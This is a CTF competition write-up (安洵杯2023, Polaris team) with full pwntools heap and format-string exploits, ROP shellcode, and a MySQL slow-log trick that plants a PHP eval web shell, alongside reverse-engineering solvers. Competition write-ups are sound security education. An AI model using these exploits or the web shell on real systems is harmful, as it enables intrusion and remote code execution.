安洵杯2023 Writeup -Polaris战队

admin 2023年6月14日08:47:03评论30 views字数 32153阅读107分10秒阅读模式

本次安洵杯2023,我们Polaris战队排名第2。

PWN

harde_pwn

先利用 ctypes 模块 + 溢出过随机数的检测

之后是一个无限次的非栈上格式化字符串漏洞

这里是先泄露栈地址和 libc_base 之后

直接修改 printf 函数的返回地址

图中可以看到printf 函数的返回地址在 rsp 中

如果我们预先将 rbp 那里修改为 one_gdaget 

再利用格式化字符串

修改 printf 函数地址最后一个字节为 xb1 

那么就会在 pop 之后 ret 到 one_gdaget 

以此 get shell,效果如下图

安洵杯2023 Writeup -Polaris战队

至此,完成攻击

EXP

from pwn import *from struct import packfrom ctypes import *import hashlib
def s(a):    p.send(a)def sa(a, b):    p.sendafter(a, b)def sl(a):    p.sendline(a)def sla(a, b):    p.sendlineafter(a, b)def r():    p.recv()def pr():    print(p.recv())def rl(a):    return p.recvuntil(a)def inter():    p.interactive()def debug():    gdb.attach(p)    pause()def get_addr():    return u64(p.recvuntil(b'x7f')[-6:].ljust(8, b'x00'))def get_sb():    return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/shx00'))
context(os='linux', arch='amd64', log_level='debug')p = process('./pwn')#p = remote('47.108.165.60', 42545)elf = ELF('./pwn')libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
c_libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
sa(b'game!n', p64(0)*4)c_libc.srand(0)for i in range(21):    sla(b'input: n', str((c_libc.rand() ^ 0x24) + 1))
sa(b'input your data ;)n', b'%8$p%11$p%7$p')rl(b'0x')stack = int(p.recv(12), 16)rl(b'0x')libc_base = int(p.recv(12), 16) - 0x29d90ret = stack - 8ptr = stack - 0x18rbp = stack - 0x10rl(b'0x')heap_base = int(p.recv(12), 16) - 0x2a0
one_gadget = libc_base + 0xebcf8printf_ret = ptr - 0x10
for i in range(6):    sa(b'input your data ;)n', b'%' + str((rbp + i) & 0xffff).encode() + b'c%15$hnx00')    sa(b'input your data ;)n', b'%' + str((one_gadget >> i*8) & 0xff).encode() + b'c%45$hhnx00')    sa(b'input your data ;)n', b'%' + str(printf_ret & 0xffff).encode() + b'c%15$hnx00')sa(b'input your data ;)n', b'%' + str(0xb1).encode() + b'c%45$hhnx00')
print(' printf_ret -> ', hex(printf_ret))print(' heap_base -> ', hex(heap_base))print(' stack -> ', hex(stack))print(' libc_base -> ', hex(libc_base))inter()

DE_CAT

2.35的off-by-one

void __fastcall edit(){  unsigned int v0; // [rsp+4h] [rbp-Ch]
 edit_key = 0LL;  output("idx:n");  v0 = input_num();  if ( v0 <= 0x1F && chunk_list[v0] )  {    output("content:n");    chunk_list[v0][(int)read(0, chunk_list[v0], size_list[v0])] = 0; // off-by-one  }  else  {    output("wrong!n");  }}

利用脚本

#!/usr/bin/env python3# -*- coding:utf-8 -*-
from pwn import *context.clear(arch='amd64', os='linux', log_level='info')
sh = remote('47.108.165.60', 36399)
def add_a_cat(size, content):    sh.sendlineafter(b'>> n', b'1')    sh.sendlineafter(b'size:n', str(size).encode())    sh.sendafter(b'content:n', content)
def delete_a_cat(index):    sh.sendlineafter(b'>> n', b'2')    sh.sendlineafter(b'idx:n', str(index).encode())
def show_a_cat(index):    sh.sendlineafter(b'>> n', b'3')    sh.sendlineafter(b'idx:n', str(index).encode())
def edit_a_cat(index, content):    sh.sendlineafter(b'>> n', b'4')    sh.sendlineafter(b'idx:n', str(index).encode())    sh.sendafter(b'content:n', content)
def kill_a_cat(index):    sh.sendlineafter(b'>> n', b'5')    sh.sendlineafter(b'idx:n', str(index).encode())

add_a_cat(0x4f8, b' ')add_a_cat(0x4f8, b' ')delete_a_cat(0)add_a_cat(0x5f8, b' ')add_a_cat(0x4f8, b' ')show_a_cat(2)sh.recvuntil(b'00')libc_addr = u64(sh.recvn(8)) - 0x21a110heap_addr = u64(sh.recvn(8)) - 0x290success('libc_addr: ' + hex(libc_addr))success('heap_addr: ' + hex(heap_addr))
edit_a_cat(2, flat({0x0:heap_addr+0x290, 0x8:heap_addr+0x290, 0x4f0:0x500}, filler=b'0', length=0x4f8))delete_a_cat(1)add_a_cat(0x288, b' ')add_a_cat(0x288, b' ')delete_a_cat(3)delete_a_cat(2)edit_a_cat(1, p64(((heap_addr + 0x2a0) >> 12) ^ (heap_addr + 0x10)))add_a_cat(0x288, b' ')add_a_cat(0x288, flat({0x30:0x1, 0x140: libc_addr + 0x221200-0x10}, filler=b'0'))
add_a_cat(0x198, b' ')show_a_cat(4)sh.recvuntil(b'0' * 0x10)stack_addr = u64(sh.recvn(8)) - 0success('stack_addr: ' + hex(stack_addr))edit_a_cat(3, flat({0x30:0x1, 0x140: stack_addr-0x148}, filler=b'0'))
add_a_cat(0x198, flat([    0,    libc_addr + 0x000000000002a3e5,    (stack_addr-0x148) & (~0xfff),    libc_addr + 0x000000000002be51,    0x1000,    libc_addr + 0x000000000011f497,    7, 0,    libc_addr + 0x0000000000045eb0,    10,    libc_addr + 0x0000000000091396,    libc_addr + 0x000000000008821d,]) + asm('''    mov eax, 0x67616c66 ;// flag    push rax
   mov rdi, rsp    xor eax, eax    mov esi, eax    mov al, 2    syscall ;// open
   push rax    mov rsi, rsp    xor eax, eax    mov edx, eax    inc eax    mov edi, eax    mov dl, 8    syscall ;// write open() return value
   pop rax    test rax, rax    js over
   mov edi, eax    mov rsi, rsp    mov edx, 0x01010201    sub edx, 0x01010101    xor eax, eax    syscall ;// read
   mov edx, eax    mov rsi, rsp    xor eax, eax    inc eax    mov edi, eax    syscall ;// write
over:    xor edi, edi    mov eax, 0x010101e8    sub eax, 0x01010101    syscall ;// exit''') + b'0')
sh.interactive()

PWNPWN

2.31下的off-by-null

from pwn import *
context(arch='amd64', os='linux', log_level='debug')
file_name = './pwnpwn'
li = lambda x : print('x1b[01;38;5;214m' + str(x) + 'x1b[0m')ll = lambda x : print('x1b[01;38;5;1m' + str(x) + 'x1b[0m')
context.terminal = ['tmux','splitw','-h']
debug = 1if debug:    r = remote('47.108.165.60', 49034)else:    r = process(file_name)
elf = ELF(file_name)
def dbg():    gdb.attach(r)
def dbgg():    raw_input()
def guessTrainner():   start =time.time()   answerSet=answerSetInit(set())   for i in range(6):      inputStrMax=suggestedNum(answerSet,100)      li('第%d步----' %(i+1))      li('尝试:' +inputStrMax)      li('----')      AMax,BMax = compareAnswer(inputStrMax)      li('反馈:%dA%dB' % (AMax, BMax))      li('----')      ll('排除可能答案:%d个' % (answerSetDelNum(answerSet,inputStrMax,AMax,BMax)))      answerSetUpd(answerSet,inputStrMax,AMax,BMax)      if AMax==4:         elapsed = (time.time() - start)         li("猜数字成功,总用时:%f秒,总步数:%d。" %(elapsed,i+1))         break      elif i==5:         ll("猜数字失败!")         r.close()

def compareAnswer(inputStr):   inputStr1 = inputStr[0]+inputStr[1]+inputStr[2]+inputStr[3]   r.sendlineafter('please input your number:', inputStr1)   #r.recvuntil('n')
  tmp = r.recvuntil('B',timeout=0.5)   if tmp == '':      return 4,4   tmp = tmp.split(b"A")   if len(tmp[0]) > 0:      A = tmp[0]      B = tmp[1].split(b'B')[0]      return int(A),int(B)   else:      return 4, 4
def compareAnswer1(inputStr,answerStr):   A=0   B=0   for j in range(4):      if inputStr[j]==answerStr[j]:         A+=1      else:         for k in range(4):            if inputStr[j]==answerStr[k]:               B+=1   return A,B
def answerSetInit(answerSet):   answerSet.clear()   for i in range(1234,9877):      seti=set(str(i))      if len(seti)==4 and seti.isdisjoint(set('0')):         answerSet.add(str(i))   return answerSet
def answerSetUpd(answerSet,inputStr,A,B):   answerSetCopy=answerSet.copy()   for answerStr in answerSetCopy:      A1,B1=compareAnswer1(inputStr,answerStr)      if A!=A1 or B!=B1:         answerSet.remove(answerStr)
def answerSetDelNum(answerSet,inputStr,A,B):   i=0   for answerStr in answerSet:      A1, B1 = compareAnswer1(inputStr, answerStr)      if A!=A1 or B!=B1:         i+=1   return i

def suggestedNum(answerSet,lvl):   suggestedNum=''   delCountMax=0   if len(answerSet) > lvl:      suggestedNum = list(answerSet)[0]   else:      for inputStr in answerSet:         delCount = 0         for answerStr in answerSet:            A,B = compareAnswer1(inputStr, answerStr)            delCount += answerSetDelNum(answerSet, inputStr,A,B)         if delCount > delCountMax:            delCountMax = delCount            suggestedNum = inputStr         if delCount == delCountMax:            if suggestedNum == '' or int(suggestedNum) > int(inputStr):               suggestedNum = inputStr
  return suggestedNum
menu = 'root@$n'
def add(index, size, content=b'a'):    r.sendlineafter(menu, '1')    r.sendlineafter('give me your index:n', str(index))    r.sendlineafter('give me your size:n', str(size))    r.sendafter('give me your content:n', content)
def show(index):    r.sendlineafter(menu, '2')    r.sendlineafter('give me your index:n', str(index))
def pd(username, passwd):    r.sendlineafter(menu, '5')    r.sendafter('please input your usernamen', username)    r.sendafter('please input your passwdn', passwd)
def edit(index, content):    r.sendlineafter(menu, '3')    r.sendlineafter('give me your indexn', str(index))    r.sendlineafter('give me your indexn', str(index))    r.sendafter('give me your content:n', content)
def delete(index):    r.sendlineafter(menu, '4')    r.sendlineafter('give me your index:n', str(index))
guessTrainner()dbgg()
add(0, 0x410) # 0add(1, 0x20) # 1add(2, 0x20) # 2add(3, 0x4f0) # 3add(4, 0x10) # 4add(5, 0x20) # 5
pd('a', 'a')delete(0)add(0, 0x410)edit(0, 'a' * 8)
pd('a' * 8, 'a' * 8)show(0)
malloc_hook = u64(r.recvuntil('x7f')[-6:].ljust(8, b'x00')) - 96 - 0x10li('malloc_hook = ' + hex(malloc_hook))
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')libc_base = malloc_hook - libc.sym['__malloc_hook']li('libc_base = ' + hex(libc_base))
free_hook = libc_base + libc.sym['__free_hook']li('free_hook = ' + hex(free_hook))
pd(b'a'.ljust(6, b'x00'), b'a'.ljust(6, b'x00'))pd('abc', 'abc')#delete(1)#delete(2)#add(1, 0x28, 'a' * 7 + 'n')
delete(0)add(6, 0x500)add(0, 0x410)edit(0, 'a' * 0x10)pd('a' * 8, 'a' * 8)
show(0)r.recvuntil('a' * 0x10)heap_base = u64(r.recv(6).ljust(8, b'x00')) - 0x290li('heap_base = ' + hex(heap_base))pd(b'a'.ljust(6, b'x00'), b'a'.ljust(6, b'x00'))pd('abc', 'abc')delete(2)p1 = p64(heap_base + 0x6c0) + 0x18 * b'a' + p64(0x50)add(2, 0x28, p1)delete(1)p2 = p64(0) + p64(0x51) + p64(heap_base + 0x6f0 - 0x18) + p64(heap_base + 0x6f0 - 0x10)add(1, 0x28, p2)delete(3)add(3, 0x100, p64(0) * 3 + p64(0x31))delete(5)delete(2)
delete(3)add(3, 0x100, p64(0) * 3 + p64(0x31) + p64(free_hook))
add(7, 0x20)one = [0xe3afe, 0xe3b01, 0xe3b04]one_gadget = one[1] + libc_base
add(8, 0x20, p64(one_gadget))
delete(0)r.interactive()

computer

kill命令有UAF漏洞。

void __fastcall main_method(node **workdir, __int64 a2, node *a3, node *a4){    if ( !strcmp(s1, "kill") )  {    v11 = atoi(s2);    if ( v11 >= 0 && v11 <= pid_amount )    {      free((void *)pid_list[v11]->program);      free(pid_list[v11]);      --pid_amount;      printf("%d had been killedn", (unsigned int)v11);    }    return;  }  }

利用脚本

#!/usr/bin/env python3# -*- coding:utf-8 -*-
from pwn import *context.clear(arch='amd64', os='linux', log_level='info')
sh = remote('47.108.165.60', 38253)sh.sendlineafter(b'> ', b'touch ' + b'a' * 0xe7)for i in range(16):    sh.sendlineafter(b'> ', b'exec ' + b'a' * 0xe7)for i in range(10):    sh.sendlineafter(b'> ', b'touch ' + str(i).encode())for i in range(8)[::-1]:    sh.sendlineafter(b'> ', b'kill ' + str(i).encode())

sh.sendlineafter(b'> ', b'ps')sh.recvuntil(b't')sh.recvuntil(b't')libc_addr = u64(sh.recvn(6) + b'00') - 0x3ebca0success('libc_addr: ' + hex(libc_addr))sh.sendlineafter(b'> ', b'touch ' + b'b' * 8 + p64(libc_addr + 0x3ee098))
sh.sendlineafter(b'> ', b'ps')sh.recvuntil(b't')sh.recvuntil(b't')heap_addr = u64(sh.recvn(6) + b'00') - 0x660success('heap_addr: ' + hex(heap_addr))sh.recvuntil(b't')stack_addr = u64(sh.recvn(6) + b'00')success('stack_addr: ' + hex(stack_addr))
sh.sendlineafter(b'> ', b'rm 0')sh.sendlineafter(b'> ', b'rm 1')
sh.sendlineafter(b'> ', b'kill 0')
sh.sendlineafter(b'> ', b'mkdir new')sh.sendlineafter(b'> ', b'cd new')sh.sendlineafter(b'> ', b'touch 00')sh.sendlineafter(b'> ', b'touch 01')sh.sendlineafter(b'> ', b'touch 02')sh.sendlineafter(b'> ', b'touch ' + p64(stack_addr - 0xb28))sh.sendlineafter(b'> ', b'touch ' + b'3' * 0x19)
sh.sendlineafter(b'> ', b'touch ' + b'c' * 8 + p64(libc_addr + 0x00000000000baf9c) + cyclic(218) + flat([    libc_addr + 0x000000000002164f,    (stack_addr - 0xb28) & (~0xfff),    libc_addr + 0x0000000000023a6a,    0x1000,    libc_addr + 0x0000000000001b96,    7,    libc_addr + 0x000000000001b500,    10 + 0x10,    libc_addr + 0x000000000009a872,    libc_addr + 0x00000000000d2625,    libc_addr + 0x0000000000002b25,]) + asm('''    mov eax, 0x67616c66 ;// flag    push rax
   mov rdi, rsp    xor eax, eax    mov esi, eax    mov al, 2    syscall ;// open
   push rax    mov rsi, rsp    xor eax, eax    mov edx, eax    inc eax    mov edi, eax    mov dl, 8    syscall ;// write open() return value
   pop rax    test rax, rax    js over
   mov edi, eax    mov rsi, rsp    mov edx, 0x01010201    sub edx, 0x01010101    xor eax, eax    syscall ;// read
   mov edx, eax    mov rsi, rsp    xor eax, eax    inc eax    mov edi, eax    syscall ;// write
over:    xor edi, edi    mov eax, 0x010101e8    sub eax, 0x01010101    syscall ;// exit
'''))

sh.interactive()

fuzz_heap

加了混淆的堆题

两个delete中有一个存在UAF

.text:0000000000003A1F                               loc_3A1F:                               ; CODE XREF: delete+17B↑j.text:0000000000003A1F 48 8D 05 6A 36 00 00          lea     rax, ptr.text:0000000000003A26 48 8B 4D C8                   mov     rcx, [rbp+var_38].text:0000000000003A2A 8B 11                         mov     edx, [rcx].text:0000000000003A2C 89 D1                         mov     ecx, edx.text:0000000000003A2E 48 8B 3C C8                   mov     rdi, [rax+rcx*8]                ; ptr.text:0000000000003A32 E8 F9 D5 FF FF                call    _free.text:0000000000003A32.text:0000000000003A37 C7 45 C0 B2 B1 21 F5          mov     [rbp+var_40], 0F521B1B2h.text:0000000000003A3E E9 07 00 00 00                jmp     loc_3A4A

爆破验证key程序

// gcc -pthread -O3 crack.c -o crack#include <stdio.h>#include <stdlib.h>#include <unistd.h>#include <pthread.h>
#define NUM 20
unsigned int need;
void *worker(void *p){    size_t i, j;    unsigned int tmp, _need = need;    for(i = (size_t)p; i < 0x100000000; i += NUM)    {        tmp = i;        for(j = 0; j < 35; j++)            tmp = tmp ^ ((16 * tmp) ^ ((tmp ^ (16 * tmp)) >> 21) ^ (((16 * tmp) ^ tmp ^ ((tmp ^ (16 * tmp)) >> 21)) << 17));        if(tmp == _need)        {            write(STDOUT_FILENO, &i, sizeof(i));            exit(EXIT_SUCCESS);        }    }}
int main(){    pthread_t *threads;    int i, core = NUM;    read(STDIN_FILENO, &need, sizeof(need));        threads = calloc(core, sizeof(pthread_t));        for(i = 0; i < core; i++)    {        pthread_create(&threads[i], NULL, worker, (void *)i);    }
   for(i = 0; i < core; i++)    {        pthread_join(threads[i], NULL);    }
   return 0;}

利用脚本:

#!/usr/bin/env python3# -*- coding:utf-8 -*-
from pwn import *context.clear(arch='amd64', os='linux', log_level='debug')
sh = remote('47.108.165.60', 33296)
def add(index, size, content):    # 0x417 - 0x46f    sh.sendlineafter(b'you can fuzz this gamen', b'6')    sh.sendlineafter(b'give me your index:n', str(index).encode())    sh.sendlineafter(b'give me your size:n', str(size).encode())    sh.sendafter(b'give me your content:n', content)
def delete(index):    sh.sendlineafter(b'you can fuzz this gamen', b'41')    sh.sendlineafter(b'give me your index:n', str(index).encode())
def delete2(index):    sh.sendlineafter(b'you can fuzz this gamen', b'21')    sh.sendlineafter(b'give me your index:n', str(index).encode())
def show(index):    sh.sendlineafter(b'you can fuzz this gamen', b'31')    sh.sendlineafter(b'give me your index:n', str(index).encode())    sh.recvuntil(b'give me your content:n')
def show2(index):    sh.sendlineafter(b'you can fuzz this gamen', b'32')    sh.sendlineafter(b'give me your index:n', str(index).encode())    sh.recvuntil(b'give me your content:n')
def edit(index, content):    sh.sendlineafter(b'you can fuzz this gamen', b'18')    sh.sendlineafter(b'give me your index:n', str(index).encode())    sh.sendafter(b'give me your content:n', content)
sh.recvuntil(b'hhhn')
t = process(['./crack'])t.send(p32(int(sh.recvuntil(b'n'), 16)))key = u32(t.recv(4))
success('key: ' + hex(key))sh.sendline(str(key).encode())
add(0, 0x448, b'0')add(1, 0x448, b'0')add(2, 0x438, b'0')add(3, 0x448, b'0')
delete(0)show(0)libc_addr = u64(sh.recvn(6) + b'00') - 0x219ce0success('libc_addr: ' + hex(libc_addr))
add(4, 0x468, b'0')delete2(4)add(5, 0x448, b'a' * 0x10)
show(5)sh.recvuntil(b'a' * 0x10)heap_addr = u64(sh.recvn(6) + b'00') - 0x290success('heap_addr: ' + hex(heap_addr))delete2(5)
add(5, 0x448, b'b' * 0x10)delete2(5)
add(4, 0x468, b'0')
delete2(2)
edit(0, b'a' * 0x18 + p64(libc_addr + 0x2193c8 - 0x20))add(2, 0x418, b'0')
delete(1)delete(0)add(6, 0x448, p64(0) + p64(libc_addr + 0x221200 - 0x10))add(7, 0x448, b'0')
show2(7)sh.recvn(0x10)stack_addr = u64(sh.recvn(8))success('stack_addr: ' + hex(stack_addr))
delete(3)delete(0)
add(8, 0x448, p64(0) + p64(stack_addr-0x5f8 + 0x50))
add(9, 0x448, flat([    0,    libc_addr + 0x000000000002a3e5,    (stack_addr-0x5f8) & (~0xfff),    libc_addr + 0x000000000002be51,    0x1000,    libc_addr + 0x000000000011f497,    7, 0,    libc_addr + 0x0000000000045eb0,    10,    libc_addr + 0x0000000000091396,    libc_addr + 0x000000000008821d]) + asm('''    mov eax, 0x67616c66 ;// flag    push rax
   mov rdi, rsp    xor eax, eax    mov esi, eax    mov al, 2    syscall ;// open
   push rax    mov rsi, rsp    xor eax, eax    mov edx, eax    inc eax    mov edi, eax    mov dl, 8    syscall ;// write open() return value
   pop rax    test rax, rax    js over
   mov edi, eax    mov rsi, rsp    mov edx, 0x01010201    sub edx, 0x01010101    xor eax, eax    syscall ;// read
   mov edx, eax    mov rsi, rsp    xor eax, eax    inc eax    mov edi, eax    syscall ;// write
over:    xor edi, edi    mov eax, 0x010101e8    sub eax, 0x01010101    syscall ;// exit
'''))
sh.interactive()

WEB

Confronting robot

Sqlmap跑一下

安洵杯2023 Writeup -Polaris战队

发现robot_data库的name表里面有

安洵杯2023 Writeup -Polaris战队

/sEcR@[email protected]

访问页面,在这里面输入

安洵杯2023 Writeup -Polaris战队

发现能执行sql命令,慢日志查询

按照这个打

set GLOBAL log_queries_not_using_indexes=on;set GLOBAL slow_query_log=on;set GLOBAL slow_query_log_file='/var/www/html/sEcR@[email protected]';select '<?php @eval($_POST[cmd]);phpinfo();?>' from mysql.db where sleep(10);

如果慢日志地址写入的是其他php的话

会显示没有权限,有权限的肯定是当前页面

没有权限访问的页面

安洵杯2023 Writeup -Polaris战队

有权限的页面

读取flag

安洵杯2023 Writeup -Polaris战队
安洵杯2023 Writeup -Polaris战队
安洵杯2023 Writeup -Polaris战队

Carelesspy

在/eval路由中

传参看到?cmd=/app/__pycache__

目录下有个part.cpython-311.pyc

Download下载,反编译

安洵杯2023 Writeup -Polaris战队
安洵杯2023 Writeup -Polaris战队

获取SECRET_KEY

o2takuXX_donot_like_ntr

Flask session伪造

登录成功后,访问出现的地址

安洵杯2023 Writeup -Polaris战队

/th1s_1s_The_L4st_one

Xxe注入获取flag

安洵杯2023 Writeup -Polaris战队

MISC

easy_soduku

nc远程连上后发现是个数独游戏

python有一个数独库sudokum

可以直接利用

import numpy as npimport sudokumpuzzle = []with open("C:\Users\HK\Desktop\puzzle.txt", "r") as f:    for line in f.readlines():        tmp = []        line = line.strip()        for num in line:            tmp.append(int(num))        puzzle.append(tmp)solution = sudokum.solve(puzzle)for i in range(9):    tmp = []    for j in range(9):        n = i * 9 + j        print(n)        tmp.append(puzzle_str[n])    puzzle.append(tmp)print(puzzle)

多提交几次后会得到shell,直接cat flag

烦人的压缩包

下载得到一个压缩包,直接爆破得到密码645321

安洵杯2023 Writeup -Polaris战队

图片中也藏了一个压缩包,分离出来的到压缩包

但是那个压缩包无法直接解压出

这个区块也不是COMP_STORED 算法

不然可以看到是16进制的格式

安洵杯2023 Writeup -Polaris战队

直接改一下加密方式,发现是COMP_DEFLATE (8)

改好后得到正确的flag.txt

安洵杯2023 Writeup -Polaris战队

Ook解码即可得到flag

安洵杯2023 Writeup -Polaris战队

sudoku_speedrun

思路和第一题一样,不过判定时间更短

还是调用sudokum

通过将recv得到的数独转成二维数组

和解出数独

再通过蛇形遍历出答案

最后也是那到shell,直接cat flag

import sudokum
puzzle = []with open("C:\Users\HK\Desktop\puzzle.txt", "r") as f: for line in f.readlines(): tmp = [] line = line.strip() for num in line: tmp.append(int(num)) puzzle.append(tmp)
solution = sudokum.solve(puzzle)for row in solution[1]: row = str(row) out = "" for i in range(9): out += row[1 + 3 * i]    print(out)

RE

ez_cpp

一个rot13 然后是一个对应位置运算

接下来是根据输入input  返回一个对应的值

安洵杯2023 Writeup -Polaris战队

求出映射表 然后再动调 根据输入输出的对应逆向

打表

#include <stdio.h> #include <string.h>int __cdecl sub_DB3A6C(int a1, int a2){  int v2; // edx  int v3; // edi  int v4; // ebx
 v2 = 0;  v3 = 0;  if ( a2 > 0 )  {    v4 = a2 - 1;    do      v2 |= ((a1 >> v3++) & 1) << v4--;    while ( v3 < a2 );  }  return v2 + 1;}

int main(){  char str[]={"0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!#$%&'()*+,-./:;<=>?@[]^_`{|}~"};  int x;  int v7=0x10400001;  int enc[]={ 0x00000022, 0xFFFFFFA2, 0x00000072, 0xFFFFFFE6, 0x00000052, 0xFFFFFF8C, 0xFFFFFFF2, 0xFFFFFFD4,    0xFFFFFFA6, 0x0000000A, 0x0000003C, 0x00000024, 0xFFFFFFA6, 0xFFFFFF9C, 0xFFFFFF86, 0x00000024,    0x00000042, 0xFFFFFFD4, 0x00000022, 0xFFFFFFB6, 0x00000014, 0x00000042, 0xFFFFFFCE, 0xFFFFFFAC,    0x00000014, 0x0000006A, 0x0000002C, 0x0000007C, 0xFFFFFFE4, 0xFFFFFFE4, 0xFFFFFFE4, 0x0000001E};    printf("%dn",strlen(str));  for(int i=0;i<128;i++)  {  x= sub_DB3A6C(i,8);  printf("0x%x:%d,",x,i);  }  }

逆向

enc=[  0x00000022, 0xFFFFFFA2, 0x00000072, 0xFFFFFFE6, 0x00000052, 0xFFFFFF8C, 0xFFFFFFF2, 0xFFFFFFD4,     0xFFFFFFA6, 0x0000000A, 0x0000003C, 0x00000024, 0xFFFFFFA6, 0xFFFFFF9C, 0xFFFFFF86, 0x00000024,     0x00000042, 0xFFFFFFD4, 0x00000022, 0xFFFFFFB6, 0x00000014, 0x00000042, 0xFFFFFFCE, 0xFFFFFFAC,     0x00000014, 0x0000006A, 0x0000002C, 0x0000007C, 0xFFFFFFE4, 0xFFFFFFE4, 0xFFFFFFE4, 0x0000001E]v7=0x10400001box=[13,141,77,205,45,173,109,237,29,157,135,71,199,39,167,103,231,23,151,87,215,55,183,119,247,15,143,79,207,47,175,111,239,31,159,95,131,67,195,35,163,99,227,19,147,83,211,51,179,115,243,11,139,75,203,43,171,107,235,27,155,91,133,197,37,165,101,229,21,149,85,213,53,181,117,245,93,221,61,189,125,253,3,219,187,123,251,7,223,63,191,127]
from string import printableenc=[(i&0xff)^0x1 for i in enc]print(enc)
dir={0x1:0,0x81:1,0x41:2,0xc1:3,0x21:4,0xa1:5,0x61:6,0xe1:7,0x11:8,0x91:9,0x51:10,0xd1:11,0x31:12,0xb1:13,0x71:14,0xf1:15,0x9:16,0x89:17,0x49:18,0xc9:19,0x29:20,0xa9:21,0x69:22,0xe9:23,0x19:24,0x99:25,0x59:26,0xd9:27,0x39:28,0xb9:29,0x79:30,0xf9:31,0x5:32,0x85:33,0x45:34,0xc5:35,0x25:36,0xa5:37,0x65:38,0xe5:39,0x15:40,0x95:41,0x55:42,0xd5:43,0x35:44,0xb5:45,0x75:46,0xf5:47,0xd:48,0x8d:49,0x4d:50,0xcd:51,0x2d:52,0xad:53,0x6d:54,0xed:55,0x1d:56,0x9d:57,0x5d:58,0xdd:59,0x3d:60,0xbd:61,0x7d:62,0xfd:63,0x3:64,0x83:65,0x43:66,0xc3:67,0x23:68,0xa3:69,0x63:70,0xe3:71,0x13:72,0x93:73,0x53:74,0xd3:75,0x33:76,0xb3:77,0x73:78,0xf3:79,0xb:80,0x8b:81,0x4b:82,0xcb:83,0x2b:84,0xab:85,0x6b:86,0xeb:87,0x1b:88,0x9b:89,0x5b:90,0xdb:91,0x3b:92,0xbb:93,0x7b:94,0xfb:95,0x7:96,0x87:97,0x47:98,0xc7:99,0x27:100,0xa7:101,0x67:102,0xe7:103,0x17:104,0x97:105,0x57:106,0xd7:107,0x37:108,0xb7:109,0x77:110,0xf7:111,0xf:112,0x8f:113,0x4f:114,0xcf:115,0x2f:116,0xaf:117,0x6f:118,0xef:119,0x1f:120,0x9f:121,0x5f:122,0xdf:123,0x3f:124,0xbf:125,0x7f:126,0xff:127}for i in enc:    print(chr(dir[i]),end='')
# "OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO"# print(chr(ord("O")^4))#K# print(chr(ord("O")^9))#F# print(chr(ord("O")^6))#I# print(chr(ord("O")-2))#M# print(chr(ord("O")-5))#J
def rev(input):    out = "MFMFMMFMFMFFFFFFKJJJJJIIJIJJIIIJ"    result = ""    for i in range(32):        if(out[i]=="K"):            result += chr(input[i]^4)        if(out[i]=="F"):            result += chr(input[i]^9)        if(out[i]=="I"):            result += chr(input[i]^6)        if(out[i]=="M"):            result += chr(input[i]+2)        if(out[i]=="J"):            result += chr(input[i]+5)    return resulta = rev([ord(i) for i in "MFMFMMFMFMFFFFFFKJJJJJIIJIJJIIIJ"])print(a)input=[ord(i) for i in "DENgJ1O+eP<$e9a$B+Dm(Bs5(V4>'''x"]
a = rev(input)print(a)

3d_maze

一个三维的迷宫 注意走迷宫的限制条件

安洵杯2023 Writeup -Polaris战队

打印出迷宫

安洵杯2023 Writeup -Polaris战队

然后根据分支条件手动走迷宫

安洵杯2023 Writeup -Polaris战队
map=[0x00000000, 0x00000000, 0x00000001, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, .............. ]maplist=[map[i*100:i*100+100] for i in range(6)]for t in maplist:    print("==========================================")    for i in range(10):        print(t[i*10:i*10+10])
# for i in range(100):#     if(maplist[0][i]+maplist[1][i]==2):#         print(i,end=' ')# print()# for i in range(100):#     if(maplist[1][i]+maplist[2][i]==2):#         print(i,end=' ')#0 -> 1 -> 2 -> 4 ->3 ->5 -> 0
# (0,2)(4,9)=D=# (4,0)(2,9)=D=# (2,0)(0,0)=W=# (0,9)(2,0)=A=# (0,2)(9,2)=S=# (7,0)(0,3)=W=# (9,3)(8,3)ans="wddwwdddddDdwwwdddsdddddDwwWassaaaaaaaaAsssssssssSddwwdwwwwwWw"#ssssssddwwddddddwwwdddsdddddwwWassaaaaaaaasssssssssddwwdwwwwwwprint(len(ans))

babythread

程序创建了两个线程对key进行操作

发现主要的加密逻辑是RC4加密  

流加密 直接动态调试取出来密钥流key

cin="a"*32print(cin)out=[  0xEC, 0x24, 0x00, 0x3D, 0x28, 0xA7, 0xFD, 0x77, 0x93, 0xE7,   0x7C, 0x7F, 0x6D, 0x0A, 0x51, 0xF1, 0x04, 0x68, 0x6E, 0x86,   0x47, 0x6B, 0x7E, 0x8B, 0x27, 0x09, 0xA8, 0x7B, 0xFB, 0x90,   0x0C, 0x8D]enc=[  0xDE, 0x1C, 0x22, 0x27, 0x1D, 0xAE, 0xAD, 0x65, 0xAD, 0xEF,   0x6E, 0x41, 0x4C, 0x34, 0x75, 0xF1, 0x16, 0x50, 0x50, 0xD4,   0x48, 0x69, 0x6D, 0x93, 0x36, 0x1C, 0x86, 0x3B, 0xBB, 0xD0,   0x4C, 0x91]for i,j in zip(out,enc):    print(chr(i^j^ord('a')),end='')

gowhere

动态调试观察输入的字符串的变化

交叉引用 观察输入的字符串进行了哪些操作

可以设置ida断点 

打印出程序运行到加密指令时字符串的变化

安洵杯2023 Writeup -Polaris战队
安洵杯2023 Writeup -Polaris战队

调试的时候有个Sleep函数 注意需要手动绕过

然后打印出每一步加密的操作  结合汇编语言观察

安洵杯2023 Writeup -Polaris战队

发现程序有三种加密

加上一个数字然后xor 0x17

一堆加减乘除

逆序整个数组

都是线性加密 利用z3约束求解即可

